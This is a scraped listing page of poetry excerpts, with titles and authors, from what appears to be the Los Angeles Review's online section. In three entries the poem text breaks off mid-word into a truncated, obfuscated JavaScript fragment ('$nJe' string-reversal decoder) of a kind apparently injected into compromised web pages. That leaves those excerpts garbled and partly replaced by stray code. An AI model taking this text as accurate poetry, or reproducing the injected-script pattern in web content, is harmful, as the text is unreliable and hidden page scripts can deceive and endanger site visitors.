Just the other night
when a friend asked me Did that really happen I said, I think so
When I was about 9
lawn chairs goggles ketchup packets towels soggy paperbacks suntan oil twisted up into the ...
The Deep End, Rewind by Marietta Brill
LAR Online, Poetry
Twenty-Five
We were genuine
naugahyde when we met,
which is to say
we knew how to fake
our real feelings
with a side of vulnerability.
Sex helped, then ...
Two Poems by Fritz Ward
LAR Online, Poetry
ROWING, AND THEN LIGHT
The lines given me by the river, I’ll leave to the river.
Isl$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return ...
Two Poems by Molly Spencer
LAR Online, Poetry
The trees are very unhappy to be trees,
unhappiness along my street, ancient live oaks.
Just like people, they long to be something else.
No one asked a cloud to be a cloud
or me human, a man. I’d ...
Cat at My Front Door Looking In by Peter Cooley
LAR Online, Poetry
..............................—for my mother (1923 – 2021)
You never felt as close
to the new shoveled earth as when,
echoed thud on wood still fresh
as the rending of ribbon pinned
over the ...
Translating the Dead by Nancy Naomi Carlson
LAR Online, Poetry
Trash
When I walk during the p$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return ...
Trash by Nicole Cooley
LAR Online, Poetry
After the fires south of here but everywhere for life
left in the zone, a hundred-$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return ...
On Helen Frankenthaler’s On the Cusp (1985) and the White-faced Heron, Circa… by John Kinsella
LAR Online, Poetry
Everybody Tells You That It's Going to Be Okay
but you remember middle school, that time you told your buddy the same thing. You’d spent the day trading cards. He’d lost one of yours in his cargo short pocket ...
Everybody Tells You That It’s Going to Be Okay by Ian Cappelli
LAR Online, Poetry
A selection of poems from The Animal Is Chemical by Hadara Bar-Nadav
Author’s note: The poems published in the Los Angeles Review are from my manuscript-in-progress The Animal Is Chemical. The central metaphor ...
Poems from The Animal Is Chemical by Hadara Bar-Nadav
LAR Online, Poetry
